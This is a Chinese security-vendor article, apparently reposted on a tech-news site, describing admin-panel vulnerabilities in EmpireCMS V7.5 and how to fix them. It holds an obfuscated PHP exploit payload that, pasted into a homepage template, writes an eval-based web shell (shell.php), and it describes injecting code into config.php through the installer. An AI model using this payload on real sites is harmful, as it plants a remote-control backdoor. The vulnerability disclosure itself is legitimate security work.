网站安全检测对帝国CMS代码的后台功能性安全测试
最近我们SINE安全在对帝国CMS系统进行代码安全审计的时候,发现该系统存在网站漏洞,受影响的版本是EmpireCMS V7.5,从帝国官方网站下载到本地,我们人工对其代码进行详细的漏洞检测与安全代码分析。共计发现三个高危漏洞,都是在网站的后台管理页面上的功能发现的。该漏洞的产生,最根源的问题是没有对get,post提交方式进行严格的安全效验与过滤,导致可以插入恶意代码到后端服务器中去处理,导致漏洞的发生。
帝国CMS系统,简单给大家介绍一下,目前很多站长,以及企业建站,都在使用该套系统,快速,便捷,易于搜索引擎收录,采用的是B/S架构开发,php语言+Mysql数据库,支持大并发同时访问,可以承载较多的用户快速的访问网站的各个页面与内容,模板自定义化,可以设置标签与自行设计网站外观,静态html生成,还有采集功能,深受广大站长和网站运营者的喜欢。
我们SINE安全技术在对该代码进行安全检测与渗透测试的手,会先大体看下代码,熟悉整个网站的架构,数据库配置文件,以及入口调用到的文件,通常调用到的安全规则是如何写的,多个方面去大体的了解该代码,目前渗透测试中,发现的网站漏洞有:SQL注入漏洞,网站敏感信息泄露,初始化安装功能漏洞,直行平行越权逻辑漏洞,任意文件上传漏洞,登录绕过漏洞,短信验证码漏洞,找回密码漏洞,数据库备份webshell,XSS跨站,CSRF漏洞等待。
首先我们检测到的是帝国安装代码功能上存在可以插入恶意代码漏洞,在install安装目录下的index.php文件中,可以查到表的前缀,也就是获取前端提交过来的参数,然后继续往下看,data目录下的fun.php代码里的参数并没有做任何的安全效验,导致可以直接插入恶意代码写入到配置文件config.php中去。漏洞详情如下图:
后台还存在get webshell漏洞,打开后台管理功能页面,选择管理首页模板,紧接着右键点击增加首页方案中,复制漏洞exp代码:<?php $aa = _decode(ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA)${(system)($aa)};?> 解密后是:ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA=>echo '<?php eval($_REQUEST[hp]);'>shell.php
写到模板内容页面里,左键点击提交,再点击启用此方案,就在会e/admin/template/文件夹下生成一个shell.php文件。
关于帝国CMS漏洞的修复办法,对所有的get,post请求做安全过滤,也可以直接在eaddslashes2的参数里增加恶意代码的拦截机制,先检测后放行,该漏洞的利用条件是需要有后台管理员权限,利用的不是太多,建议对网站后台的管理目录进行更改,或者直接将管理员的密码设置的复杂一些。如果您对网站漏洞修复不是太懂的话,也可以找专业的网站安全公司来处理,国内SINE安全,启明星辰,绿盟,都是比较不错的,网站漏洞经常出现,也请网站的运营者多多关注EmpireCMS的官方,一有补丁就立即修复掉,将安全损失降到最低。
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
3年Java开发6个点搞定高并发系统面试疑惑
前言 其实所谓的高并发,如果你要理解这个问题呢,其实就得从高并发的根源出发,为啥会有高并发?为啥高并发就很牛逼?说的浅显一点,很简单,就是因为刚开始系统都是连接数据库的,但是要知道数据库支撑到每秒并发两三千的时候,基本就快完了。所以才有说,很多公司,刚开始干的时候,技术比较 low,结果业务发展太快,有的时候系统扛不住压力就挂了。当然会挂了,凭什么不挂?你数据库如果瞬间承载每秒 5000/8000,甚至上万的并发,一定会宕机,因为比如 mysql 就压根儿扛不住这么高的并发量。所以为啥高并发牛逼?就是因为现在用互联网的人越来越多,很多 app、网站、系统承载的都是高并发请求,可能高峰期每秒并发量几千,很正常的。如果是什么双十一之类的,每秒并发几万几十万都有可能。 那么如此之高的并发量,加上原本就如此之复杂的业务,咋玩儿?真正厉害的,一定是在复杂业务系统里玩儿过高并发架构的人,但是你没有,那么我给你说一下你该怎么回答这个问题:可以分为以下 6 点:**1.系统拆分2.缓存3.MQ4.分库分表5.读写分离6.ElasticSearch** 系统拆分 将一个系统拆分为多个子系统,用 dubb...
- 下一篇
深入理解 Java 中 SPI 机制
本文首发于 vivo互联网技术 微信公众号 链接:https://mp.weixin.qq.com/s/vpy5DJ-hhn0iOyp747oL5A 作者:姜柱 SPI(Service Provider Interface),是JDK内置的一种服务提供发现机制,本文由浅入深地介绍了Java SPI机制。 一、简介 SPI(Service Provider Interface),是JDK内置的一种服务提供发现机制,可以用来启用框架扩展和替换组件,主要是被框架的开发人员使用,比如java.sql.Driver接口,其他不同厂商可以针对同一接口做出不同的实现,MySQL和PostgreSQL都有不同的实现提供给用户,而Java的SPI机制可以为某个接口寻找服务实现。Java中SPI机制主要思想是将装配的控制权移到程序之外,在模块化设计中这个机制尤其重要,其核心思想就是解耦。 SPI与API区别: API是调用并用于实现目标的类、接口、方法等的描述; SPI是扩展和实现以实现目标的类、接口、方法等的描述; 换句话说,API 为操作提供特定的类、方法,SPI 通过操作来符合特定的类、方法。 参考...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- SpringBoot2更换Tomcat为Jetty,小型站点的福音
- Docker安装Oracle12C,快速搭建Oracle学习环境
- CentOS7编译安装Gcc9.2.0,解决mysql等软件编译问题
- CentOS6,CentOS7官方镜像安装Oracle11G
- CentOS关闭SELinux安全模块
- CentOS7设置SWAP分区,小内存服务器的救世主
- CentOS7,CentOS8安装Elasticsearch6.8.6
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装
- Windows10,CentOS7,CentOS8安装Nodejs环境